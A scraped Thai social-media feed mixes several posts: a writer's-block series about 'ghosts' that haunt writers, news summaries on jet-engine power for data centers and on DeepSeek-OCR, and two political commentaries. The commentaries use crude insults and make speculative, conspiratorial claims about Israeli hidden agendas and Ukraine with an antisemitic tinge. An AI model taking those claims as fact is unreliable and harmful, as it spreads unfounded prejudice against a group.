ที่จะมีไอ้บ้าอะไรสักตัว มานั่งพล่าม นั่งเสือกยุ่งอยู่ในบ้านคนอื่นเขา เขาจัดการเรื่องบ้านเมืองของเขา ตามที่เขาเห็นเหมาะสม มันต้องเสือกอะไรด้วย เราไม่ได้เป็นเมืองขึ้นของใคร ไม่ได้เป็นทาสของใคร อย่าไปสนใจ ตกใจกับเสียงเห่า ตามสันดานของพวกหวงรางหญ้าครับ ปล่อยให้มันบ้าไป คุณพี่ตู่ท่านทำถูกแล้วที่ไม่รับนัด จริงๆ ไม่ควรมีใครรับนัดเลย ปล่อยให้มันคุยแต่กับนังเอ๋อ รายเดียวเหมาะสมกันดีจะตาย สวัสดีครับ ลุงนิทาน 27 มกราคม 2558 U.S. to Intensify Rebalancing in Asia in 2014 https://geneva.usmission.gov/2014/02/06/u-s-to-intensify-rebalancing-in-asia-in-2014/
    0 Comments 0 Shares 321 Views 0 Reviews
  • 🎞 เขาเล่ากันว่า... 1 ในบรรดา 7 วิญญาณเฮี้ยนที่สิงสู่นักเขียน ถ้า ‘ผีผลัดวัน’ ทำหน้าที่ชวนเรา ‘พักก่อน~’... เจ้าผีตัวต่อไปนี้จะทำหน้าที่ชวนเรา ‘แก้ใหม่!’ ค่ะ

    "สารานุกรมผีนักเขียน" บันทึก "วิญญาณเฮี้ยนทั้ง 7" ที่ทุกคนต้องเผชิญหน้า

    มาดูกันว่า... คุณกำลังถูกผีตนไหนวนเวียนอยู่?

    ----------------------------

    🕯 บันทึกวิญญาณที่ 2 : ผีจอมจู้จี้ เจ้าลัทธิ 'คลั่งความเป๊ะ' จนเฟร่อ!

    เมื่อรู้สาเหตุไปแล้วกับผีตนแรกทำให้เราไม่กล้าเริ่ม "ผีจอมจู้จี้" เป็นผีขยันแก้ ระดับตัวมัมตัวมารดา นางคือต้นเหตุให้เราจมไปกับประโยคเดียวจนทำให้งาน "ไม่มีวันจบ!" ซอยข่อยแน๊...

    ถ้าเราเผลอตามใจนางมากไปหน่อย... งานเขียนที่ "ไร้ที่ติ" ที่สุดของเรา... อาจจะหมายถึงไฟล์ที่ 'ว่างเปล่า' จนไม่มีอะไรให้ติเลยก็ได้นะ! (แบบนี้ไม่เอาน้า! )

    ----------------------------

    เช็กลิสต์อาการ (ว่าโดนผีตนนี้สิงอยู่รึเปล่า)
    ▪ ใช้เวลาเป็นชั่วโมงกับการแก้ประโยคเดียว (นี่เราเขียนนิยายหรือกำลังแกะสลักหินอ่อนกันนะ)
    ▪ จำนวนคำไม่ขยับ: เดี๋ยวน้อยลง เดี๋ยวกเด้งกลับมาเท่าเดิม (อ้าว... สรุปจะเขียนครบจำนวนคำกี่โมง!)
    ▪ เพิ่งพิมพ์จบประโยคปุ๊บ... ต้องรีบย้อนกลับไปแก้ปั๊บ! (ปล่อยผ่านไปย่อหน้าต่อไปไม่ได้ ใจจะขาด)

    ----------------------------

    คาถาปราบผีจอมจับผิด
    "เจรจาสงบศึก” ขณะกำลังจะเริ่มเขียน ให้เราพนมมือ (ในใจ) แล้วบอกผีไปเลยว่า “คุณพี่ขา ตอนนี้เป็นกะของ ‘คนเล่าเรื่อง’ นะคะ เดี๋ยว ‘กะของคนแก้’ จะเรียกอีกทีตอนเขียนจบ”
    "ปล่อยไหลแบบด่วน" ลอง "ตั้งเวลา 15 นาที" แล้วพิมพ์ทุกอย่างที่คิดออกมา กฎเหล็กคือ "ห้ามหยุดพิมพ์ และห้ามลบเด็ดขาด!"
    "เผชิญร่างแรก" ถ้าผีกระซิบว่า "ยังไม่ดีพอ!" ให้เรายิ้มหวานให้ แล้วบอกไปว่า... “ร่างแรกมีไว้ให้ ‘ห่วย’ จ้ะ... เพราะเราแก้ไขไฟล์ที่ว่างเปล่าไม่ได้นะรู้มั้ย!” จุ๊บ! จุ๊บ!

    ----------------------------

    เมื่อคุณพอจะรับมือ “ผีจอมจู้จี้” ได้แล้ว ก็อย่าเพิ่งหมดแรงล่ะ!
    จงระวัง 'น้องผีแบตเสื่อม' ที่จะตามมาดูดพลังจนสมองแฮงก์...

    คืนพรุ่งนี้เตรียมแท่นชาร์จสู้ศึก บันทึกวิญญาณที่ 3 : “ผีแบตเสื่อม”... จนสมอง Burnout!

    #นักเขียน #นักเขียนนิยาย #นักเขียนมือใหม่ #นิยาย #เรื่องสั้น #นามปากกาฌาณินน์ #ฌาณินน์ #บันทึกของฉัน #แรงบันดาลใจนักเขียน #สารานุกรมผีนักเขียน #ฮาโลวีน2025 #คืนปล่อยผี #วันฮาโลวีน
    🎞 เขาเล่ากันว่า... 1 ในบรรดา 7 วิญญาณเฮี้ยนที่สิงสู่นักเขียน ถ้า ‘ผีผลัดวัน’ ทำหน้าที่ชวนเรา ‘พักก่อน~’... เจ้าผีตัวต่อไปนี้จะทำหน้าที่ชวนเรา ‘แก้ใหม่!’ ค่ะ "สารานุกรมผีนักเขียน" บันทึก "วิญญาณเฮี้ยนทั้ง 7" ที่ทุกคนต้องเผชิญหน้า มาดูกันว่า... คุณกำลังถูกผีตนไหนวนเวียนอยู่? 👻 ---------------------------- 🕯 บันทึกวิญญาณที่ 2 : ผีจอมจู้จี้ เจ้าลัทธิ 'คลั่งความเป๊ะ' จนเฟร่อ! เมื่อรู้สาเหตุไปแล้วกับผีตนแรกทำให้เราไม่กล้าเริ่ม "ผีจอมจู้จี้" เป็นผีขยันแก้ ระดับตัวมัมตัวมารดา นางคือต้นเหตุให้เราจมไปกับประโยคเดียวจนทำให้งาน "ไม่มีวันจบ!" ซอยข่อยแน๊... ถ้าเราเผลอตามใจนางมากไปหน่อย... งานเขียนที่ "ไร้ที่ติ" ที่สุดของเรา... อาจจะหมายถึงไฟล์ที่ 'ว่างเปล่า' จนไม่มีอะไรให้ติเลยก็ได้นะ! (แบบนี้ไม่เอาน้า! 😅) ---------------------------- เช็กลิสต์อาการ (ว่าโดนผีตนนี้สิงอยู่รึเปล่า) ▪ ใช้เวลาเป็นชั่วโมงกับการแก้ประโยคเดียว (นี่เราเขียนนิยายหรือกำลังแกะสลักหินอ่อนกันนะ) ▪ จำนวนคำไม่ขยับ: เดี๋ยวน้อยลง เดี๋ยวกเด้งกลับมาเท่าเดิม (อ้าว... สรุปจะเขียนครบจำนวนคำกี่โมง!) ▪ เพิ่งพิมพ์จบประโยคปุ๊บ... ต้องรีบย้อนกลับไปแก้ปั๊บ! (ปล่อยผ่านไปย่อหน้าต่อไปไม่ได้ ใจจะขาด) ---------------------------- 👻คาถาปราบผีจอมจับผิด 📍 "เจรจาสงบศึก” ขณะกำลังจะเริ่มเขียน ให้เราพนมมือ (ในใจ) แล้วบอกผีไปเลยว่า “คุณพี่ขา ตอนนี้เป็นกะของ ‘คนเล่าเรื่อง’ นะคะ เดี๋ยว ‘กะของคนแก้’ จะเรียกอีกทีตอนเขียนจบ” 📍 "ปล่อยไหลแบบด่วน" ลอง "ตั้งเวลา 15 นาที" แล้วพิมพ์ทุกอย่างที่คิดออกมา กฎเหล็กคือ "ห้ามหยุดพิมพ์ และห้ามลบเด็ดขาด!" 📍 "เผชิญร่างแรก" ถ้าผีกระซิบว่า "ยังไม่ดีพอ!" ให้เรายิ้มหวานให้ แล้วบอกไปว่า... “ร่างแรกมีไว้ให้ ‘ห่วย’ จ้ะ... เพราะเราแก้ไขไฟล์ที่ว่างเปล่าไม่ได้นะรู้มั้ย!” จุ๊บ! จุ๊บ! ---------------------------- เมื่อคุณพอจะรับมือ “ผีจอมจู้จี้” ได้แล้ว ก็อย่าเพิ่งหมดแรงล่ะ! จงระวัง 'น้องผีแบตเสื่อม' ที่จะตามมาดูดพลังจนสมองแฮงก์... คืนพรุ่งนี้เตรียมแท่นชาร์จสู้ศึก บันทึกวิญญาณที่ 3 : “ผีแบตเสื่อม”... จนสมอง Burnout! #นักเขียน #นักเขียนนิยาย #นักเขียนมือใหม่ #นิยาย #เรื่องสั้น #นามปากกาฌาณินน์ #ฌาณินน์ #บันทึกของฉัน #แรงบันดาลใจนักเขียน #สารานุกรมผีนักเขียน #ฮาโลวีน2025 #คืนปล่อยผี #วันฮาโลวีน
    0 Comments 0 Shares 197 Views 0 Reviews
  • 🎞 เขาเล่ากันว่า... 1 ในบรรดา 7 วิญญาณเฮี้ยนที่สิงสู่นักเขียน ถ้า ‘ผีผลัดวัน’ ทำหน้าที่ชวนเรา ‘พักก่อน~’... เจ้าผีตัวต่อไปนี้จะทำหน้าที่ชวนเรา ‘แก้ใหม่!’ ค่ะ

    "สารานุกรมผีนักเขียน" บันทึก "วิญญาณเฮี้ยนทั้ง 7" ที่ทุกคนต้องเผชิญหน้า

    มาดูกันว่า... คุณกำลังถูกผีตนไหนวนเวียนอยู่?

    -----------------
    อ่านต่อในเพจ : ฌาณินน์ นักเขียน
    https://thaitimes.co/posts/281457
    ------------------
    เมื่อคุณพอจะรับมือ “ผีจอมจู้จี้” ได้แล้ว ก็อย่าเพิ่งหมดแรงล่ะ!
    จงระวัง 'น้องผีแบตเสื่อม' ที่จะตามมาดูดพลังจนสมองแฮงก์...

    คืนพรุ่งนี้เตรียมแท่นชาร์จสู้ศึก บันทึกวิญญาณที่ 3 : “ผีแบตเสื่อม”... จนสมอง Burnout!

    #นักเขียน #นักเขียนนิยาย #นักเขียนมือใหม่ #นิยาย #เรื่องสั้น #นามปากกาฌาณินน์ #ฌาณินน์ #บันทึกของฉัน #แรงบันดาลใจนักเขียน #สารานุกรมผีนักเขียน #ฮาโลวีน2025 #คืนปล่อยผี #วันฮาโลวีน
    🎞 เขาเล่ากันว่า... 1 ในบรรดา 7 วิญญาณเฮี้ยนที่สิงสู่นักเขียน ถ้า ‘ผีผลัดวัน’ ทำหน้าที่ชวนเรา ‘พักก่อน~’... เจ้าผีตัวต่อไปนี้จะทำหน้าที่ชวนเรา ‘แก้ใหม่!’ ค่ะ "สารานุกรมผีนักเขียน" บันทึก "วิญญาณเฮี้ยนทั้ง 7" ที่ทุกคนต้องเผชิญหน้า มาดูกันว่า... คุณกำลังถูกผีตนไหนวนเวียนอยู่? 👻 ----------------- อ่านต่อในเพจ : ฌาณินน์ นักเขียน https://thaitimes.co/posts/281457 ------------------ เมื่อคุณพอจะรับมือ “ผีจอมจู้จี้” ได้แล้ว ก็อย่าเพิ่งหมดแรงล่ะ! จงระวัง 'น้องผีแบตเสื่อม' ที่จะตามมาดูดพลังจนสมองแฮงก์... คืนพรุ่งนี้เตรียมแท่นชาร์จสู้ศึก บันทึกวิญญาณที่ 3 : “ผีแบตเสื่อม”... จนสมอง Burnout! #นักเขียน #นักเขียนนิยาย #นักเขียนมือใหม่ #นิยาย #เรื่องสั้น #นามปากกาฌาณินน์ #ฌาณินน์ #บันทึกของฉัน #แรงบันดาลใจนักเขียน #สารานุกรมผีนักเขียน #ฮาโลวีน2025 #คืนปล่อยผี #วันฮาโลวีน
    0 Comments 0 Shares 170 Views 0 Reviews
  • “Data Center ขาดไฟ! หันใช้เครื่องยนต์เจ็ทจากเครื่องบินเก่า – ผลิตไฟได้ถึง 48MW ต่อเครื่อง”

    ในยุคที่ AI กำลังเติบโตอย่างรวดเร็ว ความต้องการพลังงานของศูนย์ข้อมูล (Data Center) ก็พุ่งสูงตามไปด้วย จนเกิดปัญหา “ไฟไม่พอใช้” เพราะการเชื่อมต่อกับระบบไฟฟ้าหลัก (grid) ต้องใช้เวลาหลายปี และเครื่องกังหันแก๊ส (gas turbine) ก็มีคิวผลิตยาวเหยียดถึงปี 2029

    บริษัท ProEnergy จากสหรัฐฯ จึงเสนอทางออกสุดแหวกแนว: นำเครื่องยนต์เจ็ทเก่าจากเครื่องบินพาณิชย์ เช่น Boeing 747 หรือ Airbus A310 มาดัดแปลงเป็นเครื่องผลิตไฟฟ้า โดยใช้แกนเครื่องยนต์ CF6-80C2 ของ GE Aerospace เป็นฐาน แล้วเสริมระบบควบคุมใหม่ ติดตั้งบนฐานคอนกรีต พร้อมระบบลดมลพิษ

    เครื่องที่ได้ชื่อว่า PE6000 สามารถผลิตไฟฟ้าได้ถึง 48 เมกะวัตต์ต่อเครื่อง และถูกนำไปใช้ในศูนย์ข้อมูลขนาดใหญ่สองแห่ง รวมกันมากกว่า 1 กิกะวัตต์ โดยทำหน้าที่เป็น “bridging power” หรือไฟฟ้าชั่วคราวในช่วงที่ยังเชื่อมต่อกับระบบไฟฟ้าไม่ได้

    เมื่อเชื่อมต่อกับ grid ได้แล้ว เครื่องเหล่านี้ยังสามารถใช้เป็นไฟสำรอง หรือขายไฟคืนให้กับระบบได้อีกด้วย ถือเป็นการรีไซเคิลเครื่องบินเก่าให้กลับมามีชีวิตใหม่ในโลกของ AI

    ทางออกใหม่ของ Data Center
    ใช้เครื่องยนต์เจ็ทเก่าจากเครื่องบินพาณิชย์มาผลิตไฟฟ้า
    ดัดแปลงเป็นเครื่อง PE6000 โดย ProEnergy
    ผลิตไฟได้ 48MW ต่อเครื่อง
    ใช้เป็นไฟฟ้าชั่วคราวระหว่างรอเชื่อมต่อกับระบบไฟฟ้า
    สามารถใช้เป็นไฟสำรองหรือขายคืนให้ระบบได้ในภายหลัง

    สาเหตุที่ต้องใช้เครื่องบินเก่า
    ความต้องการไฟฟ้าจาก AI พุ่งสูง
    การเชื่อมต่อกับ grid ใช้เวลานานหลายปี
    เครื่องกังหันแก๊สใหม่มีคิวผลิตยาวถึงปี 2029
    การใช้เครื่องบินเก่าช่วยลดเวลาและต้นทุน

    ข้อมูลทางเทคนิค
    ใช้แกนเครื่องยนต์ CF6-80C2 ของ GE Aerospace
    ติดตั้งบนฐานคอนกรีต พร้อมระบบควบคุมใหม่
    มีระบบลดมลพิษและระบายความร้อน
    ใช้เชื้อเพลิงแก๊สธรรมชาติแทนเชื้อเพลิงเครื่องบิน

    https://www.tomshardware.com/tech-industry/data-centers-turn-to-ex-airliner-engines-as-ai-power-crunch-bites
    ✈️ “Data Center ขาดไฟ! หันใช้เครื่องยนต์เจ็ทจากเครื่องบินเก่า – ผลิตไฟได้ถึง 48MW ต่อเครื่อง” ในยุคที่ AI กำลังเติบโตอย่างรวดเร็ว ความต้องการพลังงานของศูนย์ข้อมูล (Data Center) ก็พุ่งสูงตามไปด้วย จนเกิดปัญหา “ไฟไม่พอใช้” เพราะการเชื่อมต่อกับระบบไฟฟ้าหลัก (grid) ต้องใช้เวลาหลายปี และเครื่องกังหันแก๊ส (gas turbine) ก็มีคิวผลิตยาวเหยียดถึงปี 2029 บริษัท ProEnergy จากสหรัฐฯ จึงเสนอทางออกสุดแหวกแนว: นำเครื่องยนต์เจ็ทเก่าจากเครื่องบินพาณิชย์ เช่น Boeing 747 หรือ Airbus A310 มาดัดแปลงเป็นเครื่องผลิตไฟฟ้า โดยใช้แกนเครื่องยนต์ CF6-80C2 ของ GE Aerospace เป็นฐาน แล้วเสริมระบบควบคุมใหม่ ติดตั้งบนฐานคอนกรีต พร้อมระบบลดมลพิษ เครื่องที่ได้ชื่อว่า PE6000 สามารถผลิตไฟฟ้าได้ถึง 48 เมกะวัตต์ต่อเครื่อง และถูกนำไปใช้ในศูนย์ข้อมูลขนาดใหญ่สองแห่ง รวมกันมากกว่า 1 กิกะวัตต์ โดยทำหน้าที่เป็น “bridging power” หรือไฟฟ้าชั่วคราวในช่วงที่ยังเชื่อมต่อกับระบบไฟฟ้าไม่ได้ เมื่อเชื่อมต่อกับ grid ได้แล้ว เครื่องเหล่านี้ยังสามารถใช้เป็นไฟสำรอง หรือขายไฟคืนให้กับระบบได้อีกด้วย ถือเป็นการรีไซเคิลเครื่องบินเก่าให้กลับมามีชีวิตใหม่ในโลกของ AI ✅ ทางออกใหม่ของ Data Center ➡️ ใช้เครื่องยนต์เจ็ทเก่าจากเครื่องบินพาณิชย์มาผลิตไฟฟ้า ➡️ ดัดแปลงเป็นเครื่อง PE6000 โดย ProEnergy ➡️ ผลิตไฟได้ 48MW ต่อเครื่อง ➡️ ใช้เป็นไฟฟ้าชั่วคราวระหว่างรอเชื่อมต่อกับระบบไฟฟ้า ➡️ สามารถใช้เป็นไฟสำรองหรือขายคืนให้ระบบได้ในภายหลัง ✅ สาเหตุที่ต้องใช้เครื่องบินเก่า ➡️ ความต้องการไฟฟ้าจาก AI พุ่งสูง ➡️ การเชื่อมต่อกับ grid ใช้เวลานานหลายปี ➡️ เครื่องกังหันแก๊สใหม่มีคิวผลิตยาวถึงปี 2029 ➡️ การใช้เครื่องบินเก่าช่วยลดเวลาและต้นทุน ✅ ข้อมูลทางเทคนิค ➡️ ใช้แกนเครื่องยนต์ CF6-80C2 ของ GE Aerospace ➡️ ติดตั้งบนฐานคอนกรีต พร้อมระบบควบคุมใหม่ ➡️ มีระบบลดมลพิษและระบายความร้อน ➡️ ใช้เชื้อเพลิงแก๊สธรรมชาติแทนเชื้อเพลิงเครื่องบิน https://www.tomshardware.com/tech-industry/data-centers-turn-to-ex-airliner-engines-as-ai-power-crunch-bites
    0 Comments 0 Shares 99 Views 0 Reviews
  • “DeepSeek-OCR เปลี่ยนข้อความเป็นภาพ ลดการใช้ทรัพยากร AI ได้ถึง 20 เท่า – เปิดทางสู่โมเดลยักษ์ราคาประหยัด!”

    DeepSeek AI จากจีนเปิดตัวโมเดลใหม่ชื่อว่า “DeepSeek-OCR” ที่ใช้เทคนิคสุดล้ำในการจัดการข้อความจำนวนมาก โดยแทนที่จะป้อนข้อความเข้าโมเดลโดยตรง พวกเขาเลือก “แปลงข้อความเป็นภาพ” ก่อน แล้วค่อยให้โมเดลตีความจากภาพนั้นอีกที

    ฟังดูย้อนยุค แต่ผลลัพธ์กลับน่าทึ่ง เพราะวิธีนี้ช่วยลดจำนวน token ที่ต้องใช้ในการประมวลผลได้ถึง 7–20 เท่า! ซึ่งหมายความว่าโมเดลสามารถจัดการข้อมูลปริมาณมหาศาลได้โดยใช้ทรัพยากรน้อยลงมาก ทั้งในด้านเวลาและค่าใช้จ่าย

    ระบบนี้ประกอบด้วยสองส่วนหลัก:
    DeepEncoder: แปลงข้อความเป็นภาพความละเอียดสูง
    DeepSeek3B-MoE-A570M: ทำหน้าที่ตีความภาพเหล่านั้นกลับมาเป็นข้อมูลที่เข้าใจได้

    เทคนิคนี้เหมาะมากกับข้อมูลที่เป็นตาราง กราฟ หรือเอกสารที่มีโครงสร้างซับซ้อน เช่น ข้อมูลทางการเงิน วิทยาศาสตร์ หรือการแพทย์ โดยเฉพาะในงานที่ต้องใช้ context ยาว ๆ

    ในการทดสอบ benchmark พบว่า ถ้าลด token น้อยกว่า 10 เท่า ความแม่นยำยังอยู่ที่ 97% แต่ถ้าลดถึง 20 เท่า ความแม่นยำจะลดลงเหลือ 60% ซึ่งแสดงให้เห็นว่ามีจุดสมดุลที่ต้องเลือกให้เหมาะกับงาน

    DeepSeek-OCR ยังถูกเสนอให้ใช้ในการสร้าง training data สำหรับโมเดลในอนาคต เพราะสามารถจัดการข้อมูลจำนวนมากได้เร็วขึ้น แม้จะมีความเสี่ยงเรื่องความแม่นยำที่ลดลงเล็กน้อย

    จุดเด่นของ DeepSeek-OCR
    แปลงข้อความเป็นภาพก่อนป้อนเข้าโมเดล
    ลดการใช้ token ได้ถึง 7–20 เท่า
    ใช้ DeepEncoder และ DeepSeek3B-MoE-A570M ร่วมกัน
    เหมาะกับข้อมูลที่มีโครงสร้าง เช่น ตาราง กราฟ เอกสาร
    ช่วยลดต้นทุนและเวลาในการประมวลผลโมเดลขนาดใหญ่
    ใช้ได้ดีในงานที่ต้องการ context ยาว เช่น LLM

    ผลการทดสอบและการใช้งาน
    ลด token <10 เท่า → ความแม่นยำ 97%
    ลด token 20 เท่า → ความแม่นยำลดเหลือ 60%
    มีจุดสมดุลระหว่างการลดต้นทุนและความแม่นยำ
    เสนอให้ใช้สร้าง training data สำหรับโมเดลในอนาคต
    เหมาะกับงานด้านการเงิน วิทยาศาสตร์ และการแพทย์

    ความเคลื่อนไหวของ DeepSeek
    เป็นโมเดลจากจีนที่สร้างความฮือฮาในปี 2025
    ใช้ทรัพยากรน้อยกว่า ChatGPT และ Gemini
    เปิดให้ใช้งานผ่าน Hugging Face และ GitHub
    พัฒนาอย่างต่อเนื่องเพื่อเพิ่มประสิทธิภาพและลดต้นทุน

    https://www.tomshardware.com/tech-industry/artificial-intelligence/new-deepseek-model-drastically-reduces-resource-usage-by-converting-text-and-documents-into-images-vision-text-compression-uses-up-to-20-times-fewer-tokens
    🧠 “DeepSeek-OCR เปลี่ยนข้อความเป็นภาพ ลดการใช้ทรัพยากร AI ได้ถึง 20 เท่า – เปิดทางสู่โมเดลยักษ์ราคาประหยัด!” DeepSeek AI จากจีนเปิดตัวโมเดลใหม่ชื่อว่า “DeepSeek-OCR” ที่ใช้เทคนิคสุดล้ำในการจัดการข้อความจำนวนมาก โดยแทนที่จะป้อนข้อความเข้าโมเดลโดยตรง พวกเขาเลือก “แปลงข้อความเป็นภาพ” ก่อน แล้วค่อยให้โมเดลตีความจากภาพนั้นอีกที ฟังดูย้อนยุค แต่ผลลัพธ์กลับน่าทึ่ง เพราะวิธีนี้ช่วยลดจำนวน token ที่ต้องใช้ในการประมวลผลได้ถึง 7–20 เท่า! ซึ่งหมายความว่าโมเดลสามารถจัดการข้อมูลปริมาณมหาศาลได้โดยใช้ทรัพยากรน้อยลงมาก ทั้งในด้านเวลาและค่าใช้จ่าย ระบบนี้ประกอบด้วยสองส่วนหลัก: 💻 DeepEncoder: แปลงข้อความเป็นภาพความละเอียดสูง 💻 DeepSeek3B-MoE-A570M: ทำหน้าที่ตีความภาพเหล่านั้นกลับมาเป็นข้อมูลที่เข้าใจได้ เทคนิคนี้เหมาะมากกับข้อมูลที่เป็นตาราง กราฟ หรือเอกสารที่มีโครงสร้างซับซ้อน เช่น ข้อมูลทางการเงิน วิทยาศาสตร์ หรือการแพทย์ โดยเฉพาะในงานที่ต้องใช้ context ยาว ๆ ในการทดสอบ benchmark พบว่า ถ้าลด token น้อยกว่า 10 เท่า ความแม่นยำยังอยู่ที่ 97% แต่ถ้าลดถึง 20 เท่า ความแม่นยำจะลดลงเหลือ 60% ซึ่งแสดงให้เห็นว่ามีจุดสมดุลที่ต้องเลือกให้เหมาะกับงาน DeepSeek-OCR ยังถูกเสนอให้ใช้ในการสร้าง training data สำหรับโมเดลในอนาคต เพราะสามารถจัดการข้อมูลจำนวนมากได้เร็วขึ้น แม้จะมีความเสี่ยงเรื่องความแม่นยำที่ลดลงเล็กน้อย ✅ จุดเด่นของ DeepSeek-OCR ➡️ แปลงข้อความเป็นภาพก่อนป้อนเข้าโมเดล ➡️ ลดการใช้ token ได้ถึง 7–20 เท่า ➡️ ใช้ DeepEncoder และ DeepSeek3B-MoE-A570M ร่วมกัน ➡️ เหมาะกับข้อมูลที่มีโครงสร้าง เช่น ตาราง กราฟ เอกสาร ➡️ ช่วยลดต้นทุนและเวลาในการประมวลผลโมเดลขนาดใหญ่ ➡️ ใช้ได้ดีในงานที่ต้องการ context ยาว เช่น LLM ✅ ผลการทดสอบและการใช้งาน ➡️ ลด token <10 เท่า → ความแม่นยำ 97% ➡️ ลด token 20 เท่า → ความแม่นยำลดเหลือ 60% ➡️ มีจุดสมดุลระหว่างการลดต้นทุนและความแม่นยำ ➡️ เสนอให้ใช้สร้าง training data สำหรับโมเดลในอนาคต ➡️ เหมาะกับงานด้านการเงิน วิทยาศาสตร์ และการแพทย์ ✅ ความเคลื่อนไหวของ DeepSeek ➡️ เป็นโมเดลจากจีนที่สร้างความฮือฮาในปี 2025 ➡️ ใช้ทรัพยากรน้อยกว่า ChatGPT และ Gemini ➡️ เปิดให้ใช้งานผ่าน Hugging Face และ GitHub ➡️ พัฒนาอย่างต่อเนื่องเพื่อเพิ่มประสิทธิภาพและลดต้นทุน https://www.tomshardware.com/tech-industry/artificial-intelligence/new-deepseek-model-drastically-reduces-resource-usage-by-converting-text-and-documents-into-images-vision-text-compression-uses-up-to-20-times-fewer-tokens
    0 Comments 0 Shares 152 Views 0 Reviews
  • ทำหน้าที่ ขุดคุ้ย สอดส่อง ฉวยโฉบเอกสาร แต่ถ้าใครคิดว่าแบนี้อิหร่านคงโป๊ไม่เหลือ เรียกว่ายังไม่รู้จักอิหร่านจริง!

    แล้วก็เป็นไปตามคาด การเจรจาไม่เป็นผล ตกลงกันไม่ได้ วันสิ้นสุดการเจรจา ต้องมีการต่ออายุไปถึงกลางปี 2015 แสดงว่า อิสราเอลยังทำภาระกิจไม่สำเร็จ ระหว่างนี้หากมีการเปลี่ยนค่าย เปลี่ยนพฤติกรรม พวกซุ่มเงียบเปลี่ยนใจเปิดตัว อิสราเอลจะเอาอยู่ไหม น้ำมันในตะวันออกกลาง ยังเป็นของรัก ของหวง ของนักล่าใบตองแห้งและพวก โดยเฉพาะลูกพี่ชาวเกาะใหญ่เท่าปลายนิ้วก้อยฯ ที่กบไต๋เงียบกริบ และใช้นักล่า ออกหน้าแทน… อย่างเคย

    จะเห็นว่าอิสราเอล กำลังเล่นบทหนัก ในการหนุน หรือ ผลักดัน การขยับหมากของนักล่าใบตองแห้ง นอกจากนี้ อิสราเอลยังมีเป้าหมาย ลับลึกซ่อนอยู่อีกหลายเรื่อง

    ถ้าสังเกตกัน จะเห็นว่า อิสราเอล พยายามเน้นให้เหตุการณ์ที่เกิดขึ้นที่ฝรั่งเศส เป็นเรื่องการรังแกยิว โดยนาย Liberman รัฐมนตรีต่างประเทศของอิสราเอล ซึ่งไปเดินแถวคล้องแขนที่ปารีสด้วย บอกว่า เขาดู CNN แล้ว ปรากฏว่า ไม่มีการเสนอข่าวในมุมของชาวยิวเลยนะ เช่น ซูเปอร์มาร์เก็ต Kosher ที่ยิงกัน ก็เป็นของชาวยิว หรือ พวกตัวประกัน ก็เป็นพวกชาวยิว พร้อมพูดว่า
    ” เราควรต้องพูดกันอย่างซื่อสัตย์ ไม่ต้องอาย และ เอาทุกอย่างวางบนโต๊ะ เพราะที่มาของการฆาตกรรมหมู่ชาวยิว มาจากมุสลิมเคร่งจัดด้านหนึ่ง และการด่าชาวยิวอย่างรุนแรงและไม่มีเหตุผลอีกด้านหนึ่ง”

    นี่ก็เป็นการให้ข่าวแบบกาฝาก คราวนี้ฝากไปให้ใคร

    ฝรั่งเศส มีชาวยิวอาศัยอยู่จำนวนมาก ไม่ต่ำกว่า 6 แสนคน นับเป็นอันดับ 3 ในโลก รองจากอิสราเอล และอเมริกา และฝรั่งเศส อีกเช่นเดียวกัน ที่มีคนนับถืออิสลามอาศัยอยู่มากที่สุดในยุโรป มีจำนวนไม่น้อยกว่า 4.7 ล้านคน ถึง 7.7 ล้านคน แล้วแต่แหล่งที่มาของข้อมูล

    ยูเครน ที่กำลังเล่นกันจนเละ จะกลายเป็นโรงละครสัตว์อยู่แล้วนั้น อิสราเอลก็แอบสนับสนุนฝ่ายที่ต่อสู้กับคุณพี่ปูตินอย่างเงียบ เชียบ แต่แข็งขัน อย่าลืมว่า คุณนาย Nuland นางเหยี่ยวของอเมริกา เจ้าของวลีเด็ด **** EU เป็นคนเลือกนาย Yatsenyuk ยิวหนุ่ม ไปเป็นนายกรัฐมนตรียูเครน ยูเครนจึง ไม่ได้เป็นเพียงสนามชิงท่อส่งแก๊ส มีหลายฝ่าย แอบหวังที่จะเอายูเครน เป็นบ้านยิวสาขา 2

    ฝรั่งเศสจึงน่าสนใจ ที่จะใช้เป็นสนามทดลอง หรือห้องทดลอง ทฤษฏีต่างๆ ก่อนมีการปฏิบัติการณ์ของจริง เพื่อดูปฏิกริยา การโต้ตอบ และกำลังสนับสนุนของแต่ละฝ่าย

    ในการทำศึกสงคราม แต่ละฝ่าย ต่างมียุทธศาสตร์ และต่างมีวาระซ่อนเร้น ซึ่งเราอาจจะยังเห็นไม่หมด มองไม่ชัดในตอนนี้ เพราะพวกเขาคงจะยังไม่เปิดฉากแสดงกันที่สถานที่จริง หรือถ้าเปิด มันก็ดูเป็นฉาก ที่ไม่ต่อเนื่องกัน

    เช่นเรื่องยูเครนกับตะวันออกกลาง อาจเกี่ยวโยงกันอย่างที่เรานึกไม่ถึง และเช่นเดียวกับการลงมติ คว่ำบาตรรัสเซีย ที่กลุ่มประเทศในสหภาพยุโรป กำลังทดสอบความแข็งของข้อกัน และคงจะรู้กันเร็วๆนี้ ว่า ใครกันแน่ ที่ข้อแข็งในสหภาพยุโรป

    ส่วนเรื่องการคว่ำบาตรอิหร่าน ซึ่งสมาชิกรัฐสภาอเมริกันกลุ่มหนึ่ง กำลังกระเหี้ยน กระหือรือ ที่จะยื่นเรื่องให้รัฐสภา ลงมติเพิ่มการคว่ำบาตรอิหร่านเพิ่ม ทั้งที่การเจรจาเรื่องพัฒนานิวเคลียร์ ที่เพิ่งเริ่ม หลังจากมีการต่ออายุใหม่ และมีข่าวว่า นายโอบามาบอกว่า พยายามจะใช้สิทธิวีโต้ เพราะการเจรจากับอิหร่านยังไปได้อยู่

